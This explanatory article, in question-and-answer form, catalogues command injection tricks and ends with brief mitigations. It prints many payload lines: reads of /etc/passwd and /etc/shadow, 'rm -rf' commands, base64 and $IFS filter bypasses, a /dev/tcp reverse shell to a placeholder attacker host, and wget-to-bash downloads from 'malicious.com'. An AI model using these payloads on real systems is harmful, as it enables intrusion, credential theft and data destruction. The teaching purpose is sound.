9. What are some common tricks hackers use to exploit command injection vulnerabilities?

Common Tricks Hackers Use to Exploit Command Injection Vulnerabilities

Command injection vulnerabilities arise when user input is unsafely passed to a system shell or interpreted as part of a system command. Hackers exploit these flaws to execute arbitrary commands, often compromising the target system. Below are the most common tricks used:

---

1. Chaining Commands with Operators

Hackers use special shell operators to append or chain additional commands to the legitimate ones.

Example Techniques:

- **Command Separator (`;`)**:

```
input=cat /etc/passwd; ls
```

  - Executes `cat /etc/passwd` and `ls` sequentially.

- **AND Operator (`&&`)**:

```
input=cat /etc/passwd && echo "Success"
```

  - Executes the second command only if the first succeeds.

- **OR Operator (`||`)**:

```
input=cat /etc/nonexistent || echo "Error handled"
```

  - Executes the second command if the first fails.

---

2. Redirection and Piping

These tricks redirect outputs or chain commands using pipes.

- **Redirect Outputs**:

```
input=cat /etc/passwd > /tmp/passwd_copy
```

  - Redirects the contents of `/etc/passwd` to a file.

- **Use of Pipes (`|`)**:

```
input=ls | grep secret
```

  - Chains commands to filter or process output.

3. Input Escaping

Hackers escape out of the intended context by injecting characters that break the syntax or structure of a command.

- **Breaking Quotes**:

```
input='; cat /etc/shadow;'
```

  - Closes an existing quoted string and appends a new command.

- **Ending Arguments**:

```
input=$(rm -rf /)
```

  - Injects a command substitution.

---

4. Environment Variable Injection

Attackers inject malicious commands through manipulated environment variables used by the target application.

Example:

```
input=$PATH:/malicious/path
```

- Injects a malicious path that could hijack the execution of system commands.

---

5. Command Substitution

By wrapping payloads in `$(...)` or backticks (`...`), attackers execute their commands within another command.

Examples:

- **Backticks**:

```
input=`whoami`
```

  - Executes `whoami` and injects its output.

- **Substitution**:

```
input=$(id)
```

  - Executes `id` and injects the result.

---

6. Abusing Wildcards

Attackers exploit wildcard characters (`*`, `?`, etc.) to manipulate commands or escalate privileges.

Example:

```
input=rm -rf /important_dir/*
```

- Deletes all files in the directory.

---

7. Using File Descriptors

Hackers manipulate file descriptors to access sensitive files or bypass restrictions.

Example:

```
input=cat < /etc/passwd
```

- Reads sensitive data via input redirection.

---

8. Leveraging Path Traversal

Attackers use `../` sequences to escape directory restrictions and access unauthorized files.

Example:

```
input=cat ../../../../../etc/shadow
```

- Bypasses directory restrictions to read sensitive files.

---

9. Leveraging Built-in System Utilities

Hackers often exploit system utilities like `bash`, `curl`, `wget`, `nc`, and `sh` to perform additional tasks.

Examples:

- **Spawning a Reverse Shell**:

  ```
  input=; bash -i >& /dev/tcp/attacker_ip/4444 0>&1
  ```

  - Opens a reverse shell for remote access.

- **Downloading Malicious Payloads**:

  ```
  input=wget http://malicious.com/payload.sh -O /tmp/payload.sh; bash
  /tmp/payload.sh
  ```

---

10. Unicode and Obfuscation

Attackers may use Unicode encoding or obfuscation to bypass filters and detection mechanisms.

Examples:

- **Encoded Payloads**:

  ```
  input=$(echo "Y2F0IC9ldGMvcGFzc3dkCg==" | base64 -d)
  ```

- Encodes a command in `base64` to bypass basic detection.

- **Obfuscation**:

```
input=cat$IFS/etc/passwd
```

  - Uses `$IFS` to bypass space-based filters.

---

11. Exploiting IFS (Internal Field Separator)

Hackers redefine `IFS` to manipulate command parsing.

Example:

```
IFS=,
input=cat,/etc/passwd
```

- Changes `IFS` so the shell interprets `cat,/etc/passwd` as `cat /etc/passwd`.

---

12. Null Byte Injection

Attackers terminate strings prematurely by injecting null bytes (`%00`).

Example:

```
input=cat /etc/passwd%00
```

- Tricks the application into ignoring subsequent input.

---

13. Remote File Inclusion

Attackers inject commands to include or execute remote files.

Example:

```
input=wget http://malicious.com/script.sh -O- | bash
```

- Fetches and executes a remote script.

---

14. Bypassing Filters

Filters can often be bypassed with creative input.

Techniques:

- **Whitespace Variations**:

```
input=cat$IFS/etc/passwd
```

- **Alternate Syntax**:

```
input="`cat /etc/passwd`"
```

- **Encoding**:

```
input=$(echo 'Y2F0IC9ldGMvcGFzc3dkCg==' | base64 -d)
```

---

15. Using Logical Injections

Hackers combine logical payloads to disrupt or manipulate behavior.

Example:

```
input=; if [ 1 -eq 1 ]; then cat /etc/passwd; fi
```

Mitigations

1. **Input Validation**:
   - Restrict input to expected formats using whitelisting.
2. **Output Sanitization**:
   - Escape or filter special characters.
3. **Use Safe APIs**:
   - Avoid `system()`, `exec()`, or other shell-invoking functions.
4. **Implement Least Privilege**:
   - Ensure commands execute with minimal privileges.
